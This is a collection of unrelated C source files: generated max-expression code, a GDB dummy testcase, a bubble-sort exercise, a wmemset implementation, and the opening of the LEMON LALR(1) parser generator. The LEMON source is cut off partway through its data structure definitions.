x_29_ = (((((3.0 + x_5) > (3.0 + x_6)? (3.0 + x_5) : (3.0 + x_6)) > ((13.0 + x_7) > (19.0 + x_9)? (13.0 + x_7) : (19.0 + x_9))? ((3.0 + x_5) > (3.0 + x_6)? (3.0 + x_5) : (3.0 + x_6)) : ((13.0 + x_7) > (19.0 + x_9)? (13.0 + x_7) : (19.0 + x_9))) > (((8.0 + x_10) > (2.0 + x_11)? (8.0 + x_10) : (2.0 + x_11)) > ((14.0 + x_12) > (5.0 + x_14)? (14.0 + x_12) : (5.0 + x_14))? ((8.0 + x_10) > (2.0 + x_11)? (8.0 + x_10) : (2.0 + x_11)) : ((14.0 + x_12) > (5.0 + x_14)? (14.0 + x_12) : (5.0 + x_14)))? (((3.0 + x_5) > (3.0 + x_6)? (3.0 + x_5) : (3.0 + x_6)) > ((13.0 + x_7) > (19.0 + x_9)? (13.0 + x_7) : (19.0 + x_9))? ((3.0 + x_5) > (3.0 + x_6)? (3.0 + x_5) : (3.0 + x_6)) : ((13.0 + x_7) > (19.0 + x_9)? (13.0 + x_7) : (19.0 + x_9))) : (((8.0 + x_10) > (2.0 + x_11)? (8.0 + x_10) : (2.0 + x_11)) > ((14.0 + x_12) > (5.0 + x_14)? (14.0 + x_12) : (5.0 + x_14))? ((8.0 + x_10) > (2.0 + x_11)? (8.0 + x_10) : (2.0 + x_11)) : ((14.0 + x_12) > (5.0 + x_14)? (14.0 + x_12) : (5.0 + x_14)))) > ((((12.0 + x_15) > (13.0 + x_18)? (12.0 + x_15) : (13.0 + x_18)) > ((20.0 + x_22) > (16.0 + x_23)? (20.0 + x_22) : (16.0 + x_23))? ((12.0 + x_15) > (13.0 + x_18)? (12.0 + x_15) : (13.0 + x_18)) : ((20.0 + x_22) > (16.0 + x_23)? (20.0 + x_22) : (16.0 + x_23))) > (((8.0 + x_26) > (14.0 + x_27)? (8.0 + x_26) : (14.0 + x_27)) > ((5.0 + x_29) > (17.0 + x_30)? (5.0 + x_29) : (17.0 + x_30))? ((8.0 + x_26) > (14.0 + x_27)? (8.0 + x_26) : (14.0 + x_27)) : ((5.0 + x_29) > (17.0 + x_30)? (5.0 + x_29) : (17.0 + x_30)))? (((12.0 + x_15) > (13.0 + x_18)? (12.0 + x_15) : (13.0 + x_18)) > ((20.0 + x_22) > (16.0 + x_23)? (20.0 + x_22) : (16.0 + x_23))? ((12.0 + x_15) > (13.0 + x_18)? (12.0 + x_15) : (13.0 + x_18)) : ((20.0 + x_22) > (16.0 + x_23)? (20.0 + x_22) : (16.0 + x_23))) : (((8.0 + x_26) > (14.0 + x_27)? (8.0 + x_26) : (14.0 + x_27)) > ((5.0 + x_29) > (17.0 + x_30)? (5.0 + x_29) : (17.0 + x_30))? ((8.0 + x_26) > (14.0 + x_27)? (8.0 + x_26) : (14.0 + x_27)) : ((5.0 + x_29) > (17.0 + x_30)? (5.0 + x_29) : (17.0 + x_30))))? ((((3.0 + x_5) > (3.0 + x_6)? (3.0 + x_5) : (3.0 + x_6)) > ((13.0 + x_7) > (19.0 + x_9)? (13.0 + x_7) : (19.0 + x_9))? ((3.0 + x_5) > (3.0 + x_6)? (3.0 + x_5) : (3.0 + x_6)) : ((13.0 + x_7) > (19.0 + x_9)? (13.0 + x_7) : (19.0 + x_9))) > (((8.0 + x_10) > (2.0 + x_11)? (8.0 + x_10) : (2.0 + x_11)) > ((14.0 + x_12) > (5.0 + x_14)? (14.0 + x_12) : (5.0 + x_14))? ((8.0 + x_10) > (2.0 + x_11)? (8.0 + x_10) : (2.0 + x_11)) : ((14.0 + x_12) > (5.0 + x_14)? (14.0 + x_12) : (5.0 + x_14)))? (((3.0 + x_5) > (3.0 + x_6)? (3.0 + x_5) : (3.0 + x_6)) > ((13.0 + x_7) > (19.0 + x_9)? (13.0 + x_7) : (19.0 + x_9))? ((3.0 + x_5) > (3.0 + x_6)? (3.0 + x_5) : (3.0 + x_6)) : ((13.0 + x_7) > (19.0 + x_9)? (13.0 + x_7) : (19.0 + x_9))) : (((8.0 + x_10) > (2.0 + x_11)? (8.0 + x_10) : (2.0 + x_11)) > ((14.0 + x_12) > (5.0 + x_14)? (14.0 + x_12) : (5.0 + x_14))? ((8.0 + x_10) > (2.0 + x_11)? (8.0 + x_10) : (2.0 + x_11)) : ((14.0 + x_12) > (5.0 + x_14)? (14.0 + x_12) : (5.0 + x_14)))) : ((((12.0 + x_15) > (13.0 + x_18)? (12.0 + x_15) : (13.0 + x_18)) > ((20.0 + x_22) > (16.0 + x_23)? (20.0 + x_22) : (16.0 + x_23))? ((12.0 + x_15) > (13.0 + x_18)? (12.0 + x_15) : (13.0 + x_18)) : ((20.0 + x_22) > (16.0 + x_23)? (20.0 + x_22) : (16.0 + x_23))) > (((8.0 + x_26) > (14.0 + x_27)? (8.0 + x_26) : (14.0 + x_27)) > ((5.0 + x_29) > (17.0 + x_30)? (5.0 + x_29) : (17.0 + x_30))? ((8.0 + x_26) > (14.0 + x_27)? (8.0 + x_26) : (14.0 + x_27)) : ((5.0 + x_29) > (17.0 + x_30)? (5.0 + x_29) : (17.0 + x_30)))? (((12.0 + x_15) > (13.0 + x_18)? (12.0 + x_15) : (13.0 + x_18)) > ((20.0 + x_22) > (16.0 + x_23)? (20.0 + x_22) : (16.0 + x_23))? ((12.0 + x_15) > (13.0 + x_18)? (12.0 + x_15) : (13.0 + x_18)) : ((20.0 + x_22) > (16.0 + x_23)? (20.0 + x_22) : (16.0 + x_23))) : (((8.0 + x_26) > (14.0 + x_27)? (8.0 + x_26) : (14.0 + x_27)) > ((5.0 + x_29) > (17.0 + x_30)? (5.0 + x_29) : (17.0 + x_30))? ((8.0 + x_26) > (14.0 + x_27)? (8.0 + x_26) : (14.0 + x_27)) : ((5.0 + x_29) > (17.0 + x_30)? (5.0 + x_29) : (17.0 + x_30)))));
x_30_ = (((((20.0 + x_0) > (18.0 + x_2)? (20.0 + x_0) : (18.0 + x_2)) > ((9.0 + x_3) > (2.0 + x_6)? (9.0 + x_3) : (2.0 + x_6))? ((20.0 + x_0) > (18.0 + x_2)? (20.0 + x_0) : (18.0 + x_2)) : ((9.0 + x_3) > (2.0 + x_6)? (9.0 + x_3) : (2.0 + x_6))) > (((7.0 + x_8) > (16.0 + x_9)? (7.0 + x_8) : (16.0 + x_9)) > ((17.0 + x_12) > (3.0 + x_15)? (17.0 + x_12) : (3.0 + x_15))? ((7.0 + x_8) > (16.0 + x_9)? (7.0 + x_8) : (16.0 + x_9)) : ((17.0 + x_12) > (3.0 + x_15)? (17.0 + x_12) : (3.0 + x_15)))? (((20.0 + x_0) > (18.0 + x_2)? (20.0 + x_0) : (18.0 + x_2)) > ((9.0 + x_3) > (2.0 + x_6)? (9.0 + x_3) : (2.0 + x_6))? ((20.0 + x_0) > (18.0 + x_2)? (20.0 + x_0) : (18.0 + x_2)) : ((9.0 + x_3) > (2.0 + x_6)? (9.0 + x_3) : (2.0 + x_6))) : (((7.0 + x_8) > (16.0 + x_9)? (7.0 + x_8) : (16.0 + x_9)) > ((17.0 + x_12) > (3.0 + x_15)? (17.0 + x_12) : (3.0 + x_15))? ((7.0 + x_8) > (16.0 + x_9)? (7.0 + x_8) : (16.0 + x_9)) : ((17.0 + x_12) > (3.0 + x_15)? (17.0 + x_12) : (3.0 + x_15)))) > ((((15.0 + x_16) > (4.0 + x_18)? (15.0 + x_16) : (4.0 + x_18)) > ((8.0 + x_19) > (2.0 + x_25)? (8.0 + x_19) : (2.0 + x_25))? ((15.0 + x_16) > (4.0 + x_18)? (15.0 + x_16) : (4.0 + x_18)) : ((8.0 + x_19) > (2.0 + x_25)? (8.0 + x_19) : (2.0 + x_25))) > (((12.0 + x_27) > (11.0 + x_29)? (12.0 + x_27) : (11.0 + x_29)) > ((14.0 + x_30) > (2.0 + x_31)? (14.0 + x_30) : (2.0 + x_31))? ((12.0 + x_27) > (11.0 + x_29)? (12.0 + x_27) : (11.0 + x_29)) : ((14.0 + x_30) > (2.0 + x_31)? (14.0 + x_30) : (2.0 + x_31)))? (((15.0 + x_16) > (4.0 + x_18)? (15.0 + x_16) : (4.0 + x_18)) > ((8.0 + x_19) > (2.0 + x_25)? (8.0 + x_19) : (2.0 + x_25))? ((15.0 + x_16) > (4.0 + x_18)? (15.0 + x_16) : (4.0 + x_18)) : ((8.0 + x_19) > (2.0 + x_25)? (8.0 + x_19) : (2.0 + x_25))) : (((12.0 + x_27) > (11.0 + x_29)? (12.0 + x_27) : (11.0 + x_29)) > ((14.0 + x_30) > (2.0 + x_31)? (14.0 + x_30) : (2.0 + x_31))? ((12.0 + x_27) > (11.0 + x_29)? (12.0 + x_27) : (11.0 + x_29)) : ((14.0 + x_30) > (2.0 + x_31)? (14.0 + x_30) : (2.0 + x_31))))? ((((20.0 + x_0) > (18.0 + x_2)? (20.0 + x_0) : (18.0 + x_2)) > ((9.0 + x_3) > (2.0 + x_6)? (9.0 + x_3) : (2.0 + x_6))? ((20.0 + x_0) > (18.0 + x_2)? (20.0 + x_0) : (18.0 + x_2)) : ((9.0 + x_3) > (2.0 + x_6)? (9.0 + x_3) : (2.0 + x_6))) > (((7.0 + x_8) > (16.0 + x_9)? (7.0 + x_8) : (16.0 + x_9)) > ((17.0 + x_12) > (3.0 + x_15)? (17.0 + x_12) : (3.0 + x_15))? ((7.0 + x_8) > (16.0 + x_9)? (7.0 + x_8) : (16.0 + x_9)) : ((17.0 + x_12) > (3.0 + x_15)? (17.0 + x_12) : (3.0 + x_15)))? (((20.0 + x_0) > (18.0 + x_2)? (20.0 + x_0) : (18.0 + x_2)) > ((9.0 + x_3) > (2.0 + x_6)? (9.0 + x_3) : (2.0 + x_6))? ((20.0 + x_0) > (18.0 + x_2)? (20.0 + x_0) : (18.0 + x_2)) : ((9.0 + x_3) > (2.0 + x_6)? (9.0 + x_3) : (2.0 + x_6))) : (((7.0 + x_8) > (16.0 + x_9)? (7.0 + x_8) : (16.0 + x_9)) > ((17.0 + x_12) > (3.0 + x_15)? (17.0 + x_12) : (3.0 + x_15))? ((7.0 + x_8) > (16.0 + x_9)? (7.0 + x_8) : (16.0 + x_9)) : ((17.0 + x_12) > (3.0 + x_15)? (17.0 + x_12) : (3.0 + x_15)))) : ((((15.0 + x_16) > (4.0 + x_18)? (15.0 + x_16) : (4.0 + x_18)) > ((8.0 + x_19) > (2.0 + x_25)? (8.0 + x_19) : (2.0 + x_25))? ((15.0 + x_16) > (4.0 + x_18)? (15.0 + x_16) : (4.0 + x_18)) : ((8.0 + x_19) > (2.0 + x_25)? (8.0 + x_19) : (2.0 + x_25))) > (((12.0 + x_27) > (11.0 + x_29)? (12.0 + x_27) : (11.0 + x_29)) > ((14.0 + x_30) > (2.0 + x_31)? (14.0 + x_30) : (2.0 + x_31))? ((12.0 + x_27) > (11.0 + x_29)? (12.0 + x_27) : (11.0 + x_29)) : ((14.0 + x_30) > (2.0 + x_31)? (14.0 + x_30) : (2.0 + x_31)))? (((15.0 + x_16) > (4.0 + x_18)? (15.0 + x_16) : (4.0 + x_18)) > ((8.0 + x_19) > (2.0 + x_25)? (8.0 + x_19) : (2.0 + x_25))? ((15.0 + x_16) > (4.0 + x_18)? (15.0 + x_16) : (4.0 + x_18)) : ((8.0 + x_19) > (2.0 + x_25)? (8.0 + x_19) : (2.0 + x_25))) : (((12.0 + x_27) > (11.0 + x_29)? (12.0 + x_27) : (11.0 + x_29)) > ((14.0 + x_30) > (2.0 + x_31)? (14.0 + x_30) : (2.0 + x_31))? ((12.0 + x_27) > (11.0 + x_29)? (12.0 + x_27) : (11.0 + x_29)) : ((14.0 + x_30) > (2.0 + x_31)? (14.0 + x_30) : (2.0 + x_31)))));
x_31_ = (((((19.0 + x_0) > (3.0 + x_1)? (19.0 + x_0) : (3.0 + x_1)) > ((15.0 + x_4) > (15.0 + x_5)? (15.0 + x_4) : (15.0 + x_5))? ((19.0 + x_0) > (3.0 + x_1)? (19.0 + x_0) : (3.0 + x_1)) : ((15.0 + x_4) > (15.0 + x_5)? (15.0 + x_4) : (15.0 + x_5))) > (((19.0 + x_6) > (12.0 + x_13)? (19.0 + x_6) : (12.0 + x_13)) > ((11.0 + x_14) > (18.0 + x_16)? (11.0 + x_14) : (18.0 + x_16))? ((19.0 + x_6) > (12.0 + x_13)? (19.0 + x_6) : (12.0 + x_13)) : ((11.0 + x_14) > (18.0 + x_16)? (11.0 + x_14) : (18.0 + x_16)))? (((19.0 + x_0) > (3.0 + x_1)? (19.0 + x_0) : (3.0 + x_1)) > ((15.0 + x_4) > (15.0 + x_5)? (15.0 + x_4) : (15.0 + x_5))? ((19.0 + x_0) > (3.0 + x_1)? (19.0 + x_0) : (3.0 + x_1)) : ((15.0 + x_4) > (15.0 + x_5)? (15.0 + x_4) : (15.0 + x_5))) : (((19.0 + x_6) > (12.0 + x_13)? (19.0 + x_6) : (12.0 + x_13)) > ((11.0 + x_14) > (18.0 + x_16)? (11.0 + x_14) : (18.0 + x_16))? ((19.0 + x_6) > (12.0 + x_13)? (19.0 + x_6) : (12.0 + x_13)) : ((11.0 + x_14) > (18.0 + x_16)? (11.0 + x_14) : (18.0 + x_16)))) > ((((6.0 + x_17) > (13.0 + x_20)? (6.0 + x_17) : (13.0 + x_20)) > ((5.0 + x_24) > (3.0 + x_25)? (5.0 + x_24) : (3.0 + x_25))? ((6.0 + x_17) > (13.0 + x_20)? (6.0 + x_17) : (13.0 + x_20)) : ((5.0 + x_24) > (3.0 + x_25)? (5.0 + x_24) : (3.0 + x_25))) > (((5.0 + x_26) > (15.0 + x_28)? (5.0 + x_26) : (15.0 + x_28)) > ((18.0 + x_29) > (8.0 + x_31)? (18.0 + x_29) : (8.0 + x_31))? ((5.0 + x_26) > (15.0 + x_28)? (5.0 + x_26) : (15.0 + x_28)) : ((18.0 + x_29) > (8.0 + x_31)? (18.0 + x_29) : (8.0 + x_31)))? (((6.0 + x_17) > (13.0 + x_20)? (6.0 + x_17) : (13.0 + x_20)) > ((5.0 + x_24) > (3.0 + x_25)? (5.0 + x_24) : (3.0 + x_25))? ((6.0 + x_17) > (13.0 + x_20)? (6.0 + x_17) : (13.0 + x_20)) : ((5.0 + x_24) > (3.0 + x_25)? (5.0 + x_24) : (3.0 + x_25))) : (((5.0 + x_26) > (15.0 + x_28)? (5.0 + x_26) : (15.0 + x_28)) > ((18.0 + x_29) > (8.0 + x_31)? (18.0 + x_29) : (8.0 + x_31))? ((5.0 + x_26) > (15.0 + x_28)? (5.0 + x_26) : (15.0 + x_28)) : ((18.0 + x_29) > (8.0 + x_31)? (18.0 + x_29) : (8.0 + x_31))))? ((((19.0 + x_0) > (3.0 + x_1)? (19.0 + x_0) : (3.0 + x_1)) > ((15.0 + x_4) > (15.0 + x_5)? (15.0 + x_4) : (15.0 + x_5))? ((19.0 + x_0) > (3.0 + x_1)? (19.0 + x_0) : (3.0 + x_1)) : ((15.0 + x_4) > (15.0 + x_5)? (15.0 + x_4) : (15.0 + x_5))) > (((19.0 + x_6) > (12.0 + x_13)? (19.0 + x_6) : (12.0 + x_13)) > ((11.0 + x_14) > (18.0 + x_16)? (11.0 + x_14) : (18.0 + x_16))? ((19.0 + x_6) > (12.0 + x_13)? (19.0 + x_6) : (12.0 + x_13)) : ((11.0 + x_14) > (18.0 + x_16)? (11.0 + x_14) : (18.0 + x_16)))? (((19.0 + x_0) > (3.0 + x_1)? (19.0 + x_0) : (3.0 + x_1)) > ((15.0 + x_4) > (15.0 + x_5)? (15.0 + x_4) : (15.0 + x_5))? ((19.0 + x_0) > (3.0 + x_1)? (19.0 + x_0) : (3.0 + x_1)) : ((15.0 + x_4) > (15.0 + x_5)? (15.0 + x_4) : (15.0 + x_5))) : (((19.0 + x_6) > (12.0 + x_13)? (19.0 + x_6) : (12.0 + x_13)) > ((11.0 + x_14) > (18.0 + x_16)? (11.0 + x_14) : (18.0 + x_16))? ((19.0 + x_6) > (12.0 + x_13)? (19.0 + x_6) : (12.0 + x_13)) : ((11.0 + x_14) > (18.0 + x_16)? (11.0 + x_14) : (18.0 + x_16)))) : ((((6.0 + x_17) > (13.0 + x_20)? (6.0 + x_17) : (13.0 + x_20)) > ((5.0 + x_24) > (3.0 + x_25)? (5.0 + x_24) : (3.0 + x_25))? ((6.0 + x_17) > (13.0 + x_20)? (6.0 + x_17) : (13.0 + x_20)) : ((5.0 + x_24) > (3.0 + x_25)? (5.0 + x_24) : (3.0 + x_25))) > (((5.0 + x_26) > (15.0 + x_28)? (5.0 + x_26) : (15.0 + x_28)) > ((18.0 + x_29) > (8.0 + x_31)? (18.0 + x_29) : (8.0 + x_31))? ((5.0 + x_26) > (15.0 + x_28)? (5.0 + x_26) : (15.0 + x_28)) : ((18.0 + x_29) > (8.0 + x_31)? (18.0 + x_29) : (8.0 + x_31)))? (((6.0 + x_17) > (13.0 + x_20)? (6.0 + x_17) : (13.0 + x_20)) > ((5.0 + x_24) > (3.0 + x_25)? (5.0 + x_24) : (3.0 + x_25))? ((6.0 + x_17) > (13.0 + x_20)? (6.0 + x_17) : (13.0 + x_20)) : ((5.0 + x_24) > (3.0 + x_25)? (5.0 + x_24) : (3.0 + x_25))) : (((5.0 + x_26) > (15.0 + x_28)? (5.0 + x_26) : (15.0 + x_28)) > ((18.0 + x_29) > (8.0 + x_31)? (18.0 + x_29) : (8.0 + x_31))? ((5.0 + x_26) > (15.0 + x_28)? (5.0 + x_26) : (15.0 + x_28)) : ((18.0 + x_29) > (8.0 + x_31)? (18.0 + x_29) : (8.0 + x_31)))));
x_0 = x_0_;
x_1 = x_1_;
x_2 = x_2_;
x_3 = x_3_;
x_4 = x_4_;
x_5 = x_5_;
x_6 = x_6_;
x_7 = x_7_;
x_8 = x_8_;
x_9 = x_9_;
x_10 = x_10_;
x_11 = x_11_;
x_12 = x_12_;
x_13 = x_13_;
x_14 = x_14_;
x_15 = x_15_;
x_16 = x_16_;
x_17 = x_17_;
x_18 = x_18_;
x_19 = x_19_;
x_20 = x_20_;
x_21 = x_21_;
x_22 = x_22_;
x_23 = x_23_;
x_24 = x_24_;
x_25 = x_25_;
x_26 = x_26_;
x_27 = x_27_;
x_28 = x_28_;
x_29 = x_29_;
x_30 = x_30_;
x_31 = x_31_;
}
return 0;
}
|
the_stack_data/82950889.c
|
/* This testcase is part of GDB, the GNU debugger.
Copyright 2004-2014 Free Software Foundation, Inc.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>. */
/* Dummy main function. */
int
main()
{
return 0;
}
|
the_stack_data/418411.c
|
#include <stdio.h> // for scanf() printf()
int *sortAsc(int *n, int _n) {
int temp;
for (int i = 0; i < _n - 1; i++) {
for (int j = 0; j < _n - 1; j++) {
if (n[j] > n[j + 1]) {
temp = n[j + 1];
n[j + 1] = n[j];
n[j] = temp;
}
}
}
return n;
}
int main() {
int arr[5];
int j;
for (j = 0; j < 5; j++) {
scanf("%d", &arr[j]);
}
int *p = sortAsc(arr, 5);
int i;
for (i = 0; i < 5; i++) printf("%d ", *(p + i));
printf("\n");
return 0;
}
|
the_stack_data/99571.c
|
/*
* Copyright (c) 2005-2014 Rich Felker, et al.
* Copyright (c) 2015-2016 HarveyOS et al.
*
* Use of this source code is governed by a MIT-style
* license that can be found in the LICENSE.mit file.
*/
#include <wchar.h>
wchar_t *wmemset(wchar_t *d, wchar_t c, size_t n)
{
wchar_t *ret = d;
while (n--) *d++ = c;
return ret;
}
|
the_stack_data/72011722.c
|
/*
** This file contains all sources (including headers) to the LEMON
** LALR(1) parser generator. The sources have been combined into a
** single file to make it easy to include LEMON in the source tree
** and Makefile of another program.
**
** The author of this program disclaims copyright.
*/
#include <stdio.h>
#include <stdarg.h>
#include <string.h>
#include <ctype.h>
#include <stdlib.h>
#include <assert.h>
#ifndef __WIN32__
# if defined(_WIN32) || defined(WIN32)
# define __WIN32__
# endif
#endif
#ifdef __WIN32__
#ifdef __cplusplus
extern "C" {
#endif
extern int access(const char *path, int mode);
#ifdef __cplusplus
}
#endif
#else
#include <unistd.h>
#endif
/* #define PRIVATE static */
#define PRIVATE
#ifdef TEST
#define MAXRHS 5 /* Set low to exercise exception code */
#else
#define MAXRHS 1000
#endif
static int showPrecedenceConflict = 0;
static char *msort(char*,char**,int(*)(const char*,const char*));
/*
** Compilers are getting increasingly pedantic about type conversions
** as C evolves ever closer to Ada.... To work around the latest problems
** we have to define the following variant of strlen().
*/
#define lemonStrlen(X) ((int)strlen(X))
/*
** Compilers are starting to complain about the use of sprintf() and strcpy(),
** saying they are unsafe. So we define our own versions of those routines too.
**
** There are three routines here: lemon_sprintf(), lemon_vsprintf(), and
** lemon_addtext(). The first two are replacements for sprintf() and vsprintf().
** The third is a helper routine for vsnprintf() that adds texts to the end of a
** buffer, making sure the buffer is always zero-terminated.
**
** The string formatter is a minimal subset of stdlib sprintf() supporting only
** a few simply conversions:
**
** %d
** %s
** %.*s
**
*/
static void lemon_addtext(
char *zBuf, /* The buffer to which text is added */
int *pnUsed, /* Slots of the buffer used so far */
const char *zIn, /* Text to add */
int nIn, /* Bytes of text to add. -1 to use strlen() */
int iWidth /* Field width. Negative to left justify */
){
if( nIn<0 ) for(nIn=0; zIn[nIn]; nIn++){}
while( iWidth>nIn ){ zBuf[(*pnUsed)++] = ' '; iWidth--; }
if( nIn==0 ) return;
memcpy(&zBuf[*pnUsed], zIn, nIn);
*pnUsed += nIn;
while( (-iWidth)>nIn ){ zBuf[(*pnUsed)++] = ' '; iWidth++; }
zBuf[*pnUsed] = 0;
}
static int lemon_vsprintf(char *str, const char *zFormat, va_list ap){
int i, j, k, c;
int nUsed = 0;
const char *z;
char zTemp[50];
str[0] = 0;
for(i=j=0; (c = zFormat[i])!=0; i++){
if( c=='%' ){
int iWidth = 0;
lemon_addtext(str, &nUsed, &zFormat[j], i-j, 0);
c = zFormat[++i];
if( isdigit(c) || (c=='-' && isdigit(zFormat[i+1])) ){
if( c=='-' ) i++;
while( isdigit(zFormat[i]) ) iWidth = iWidth*10 + zFormat[i++] - '0';
if( c=='-' ) iWidth = -iWidth;
c = zFormat[i];
}
if( c=='d' ){
int v = va_arg(ap, int);
if( v<0 ){
lemon_addtext(str, &nUsed, "-", 1, iWidth);
v = -v;
}else if( v==0 ){
lemon_addtext(str, &nUsed, "0", 1, iWidth);
}
k = 0;
while( v>0 ){
k++;
zTemp[sizeof(zTemp)-k] = (v%10) + '0';
v /= 10;
}
lemon_addtext(str, &nUsed, &zTemp[sizeof(zTemp)-k], k, iWidth);
}else if( c=='s' ){
z = va_arg(ap, const char*);
lemon_addtext(str, &nUsed, z, -1, iWidth);
}else if( c=='.' && memcmp(&zFormat[i], ".*s", 3)==0 ){
i += 2;
k = va_arg(ap, int);
z = va_arg(ap, const char*);
lemon_addtext(str, &nUsed, z, k, iWidth);
}else if( c=='%' ){
lemon_addtext(str, &nUsed, "%", 1, 0);
}else{
fprintf(stderr, "illegal format\n");
exit(1);
}
j = i+1;
}
}
lemon_addtext(str, &nUsed, &zFormat[j], i-j, 0);
return nUsed;
}
static int lemon_sprintf(char *str, const char *format, ...){
va_list ap;
int rc;
va_start(ap, format);
rc = lemon_vsprintf(str, format, ap);
va_end(ap);
return rc;
}
static void lemon_strcpy(char *dest, const char *src){
while( (*(dest++) = *(src++))!=0 ){}
}
static void lemon_strcat(char *dest, const char *src){
while( *dest ) dest++;
lemon_strcpy(dest, src);
}
/* a few forward declarations... */
struct rule;
struct lemon;
struct action;
static struct action *Action_new(void);
static struct action *Action_sort(struct action *);
/********** From the file "build.h" ************************************/
void FindRulePrecedences();
void FindFirstSets();
void FindStates();
void FindLinks();
void FindFollowSets();
void FindActions();
/********* From the file "configlist.h" *********************************/
void Configlist_init(void);
struct config *Configlist_add(struct rule *, int);
struct config *Configlist_addbasis(struct rule *, int);
void Configlist_closure(struct lemon *);
void Configlist_sort(void);
void Configlist_sortbasis(void);
struct config *Configlist_return(void);
struct config *Configlist_basis(void);
void Configlist_eat(struct config *);
void Configlist_reset(void);
/********* From the file "error.h" ***************************************/
void ErrorMsg(const char *, int,const char *, ...);
/****** From the file "option.h" ******************************************/
enum option_type { OPT_FLAG=1, OPT_INT, OPT_DBL, OPT_STR,
OPT_FFLAG, OPT_FINT, OPT_FDBL, OPT_FSTR};
struct s_options {
enum option_type type;
const char *label;
char *arg;
const char *message;
};
int OptInit(char**,struct s_options*,FILE*);
int OptNArgs(void);
char *OptArg(int);
void OptErr(int);
void OptPrint(void);
/******** From the file "parse.h" *****************************************/
void Parse(struct lemon *lemp);
/********* From the file "plink.h" ***************************************/
struct plink *Plink_new(void);
void Plink_add(struct plink **, struct config *);
void Plink_copy(struct plink **, struct plink *);
void Plink_delete(struct plink *);
/********** From the file "report.h" *************************************/
void Reprint(struct lemon *);
void ReportOutput(struct lemon *);
void ReportTable(struct lemon *, int);
void ReportHeader(struct lemon *);
void CompressTables(struct lemon *);
void ResortStates(struct lemon *);
/********** From the file "set.h" ****************************************/
void SetSize(int); /* All sets will be of size N */
char *SetNew(void); /* A new set for element 0..N */
void SetFree(char*); /* Deallocate a set */
int SetAdd(char*,int); /* Add element to a set */
int SetUnion(char *,char *); /* A <- A U B, thru element N */
#define SetFind(X,Y) (X[Y]) /* True if Y is in set X */
/********** From the file "struct.h" *************************************/
/*
** Principal data structures for the LEMON parser generator.
*/
typedef enum {LEMON_FALSE=0, LEMON_TRUE} Boolean;
/* Symbols (terminals and nonterminals) of the grammar are stored
** in the following: */
enum symbol_type {
TERMINAL,
NONTERMINAL,
MULTITERMINAL
};
enum e_assoc {
LEFT,
RIGHT,
NONE,
UNK
};
struct symbol {
const char *name; /* Name of the symbol */
int index; /* Index number for this symbol */
enum symbol_type type; /* Symbols are all either TERMINALS or NTs */
struct rule *rule; /* Linked list of rules of this (if an NT) */
struct symbol *fallback; /* fallback token in case this token doesn't parse */
int prec; /* Precedence if defined (-1 otherwise) */
enum e_assoc assoc; /* Associativity if precedence is defined */
char *firstset; /* First-set for all rules of this symbol */
Boolean lambda; /* True if NT and can generate an empty string */
int useCnt; /* Number of times used */
char *destructor; /* Code which executes whenever this symbol is
** popped from the stack during error processing */
int destLineno; /* Line number for start of destructor */
char *datatype; /* The data type of information held by this
** object. Only used if type==NONTERMINAL */
int dtnum; /* The data type number. In the parser, the value
** stack is a union. The .yy%d element of this
** union is the correct data type for this object */
/* The following fields are used by MULTITERMINALs only */
int nsubsym; /* Number of constituent symbols in the MULTI */
struct symbol **subsym; /* Array of constituent symbols */
};
/* Each production rule in the grammar is stored in the following
** structure. */
struct rule {
struct symbol *lhs; /* Left-hand side of the rule */
const char *lhsalias; /* Alias for the LHS (NULL if none) */
int lhsStart; /* True if left-hand side is the start symbol */
int ruleline; /* Line number for the rule */
int nrhs; /* Number of RHS symbols */
struct symbol **rhs; /* The RHS symbols */
const char **rhsalias; /* An alias for each RHS symbol (NULL if none) */
int line; /* Line number at which code begins */
const char *code; /* The code executed when this rule is reduced */
struct symbol *precsym; /* Precedence symbol for this rule */
int index; /* An index number for this rule */
Boolean canReduce; /* True if this rule is ever reduced */
struct rule *nextlhs; /* Next rule with the same LHS */
struct rule *next; /* Next rule in the global list */
};
/* A configuration is a production rule of the grammar together with
** a mark (dot) showing how much of that rule has been processed so far.
** Configurations also contain a follow-set which is a list of terminal
** symbols which are allowed to immediately follow the end of the rule.
** Every configuration is recorded as an instance of the following: */
enum cfgstatus {
COMPLETE,
INCOMPLETE
};
struct config {
struct rule *rp; /* The rule upon which the configuration is based */
int dot; /* The parse point */
char *fws; /* Follow-set for this configuration only */
struct plink *fplp; /* Follow-set forward propagation links */
struct plink *bplp; /* Follow-set backwards propagation links */
struct state *stp; /* Pointer to state which contains this */
enum cfgstatus status; /* used during followset and shift computations */
struct config *next; /* Next configuration in the state */
struct config *bp; /* The next basis configuration */
};
enum e_action {
SHIFT,
ACCEPT,
REDUCE,
ERROR,
SSCONFLICT, /* A shift/shift conflict */
SRCONFLICT, /* Was a reduce, but part of a conflict */
RRCONFLICT, /* Was a reduce, but part of a conflict */
SH_RESOLVED, /* Was a shift. Precedence resolved conflict */
RD_RESOLVED, /* Was reduce. Precedence resolved conflict */
NOT_USED /* Deleted by compression */
};
/* Every shift or reduce operation is stored as one of the following */
struct action {
struct symbol *sp; /* The look-ahead symbol */
enum e_action type;
union {
struct state *stp; /* The new state, if a shift */
struct rule *rp; /* The rule, if a reduce */
} x;
struct action *next; /* Next action for this state */
struct action *collide; /* Next action with the same hash */
};
/* Each state of the generated parser's finite state machine
** is encoded as an instance of the following structure. */
struct state {
struct config *bp; /* The basis configurations for this state */
struct config *cfp; /* All configurations in this set */
int statenum; /* Sequential number for this state */
struct action *ap; /* Array of actions for this state */
int nTknAct, nNtAct; /* Number of actions on terminals and nonterminals */
int iTknOfst, iNtOfst; /* yy_action[] offset for terminals and nonterms */
int iDflt; /* Default action */
};
#define NO_OFFSET (-2147483647)
/* A followset propagation link indicates that the contents of one
** configuration followset should be propagated to another whenever
** the first changes. */
struct plink {
struct config *cfp; /* The configuration to which linked */
struct plink *next; /* The next propagate link */
};
/* The state vector for the entire parser generator is recorded as
** follows. (LEMON uses no global variables and makes little use of
** static variables. Fields in the following structure can be thought
** of as begin global variables in the program.) */
struct lemon {
struct state **sorted; /* Table of states sorted by state number */
struct rule *rule; /* List of all rules */
int nstate; /* Number of states */
int nrule; /* Number of rules */
int nsymbol; /* Number of terminal and nonterminal symbols */
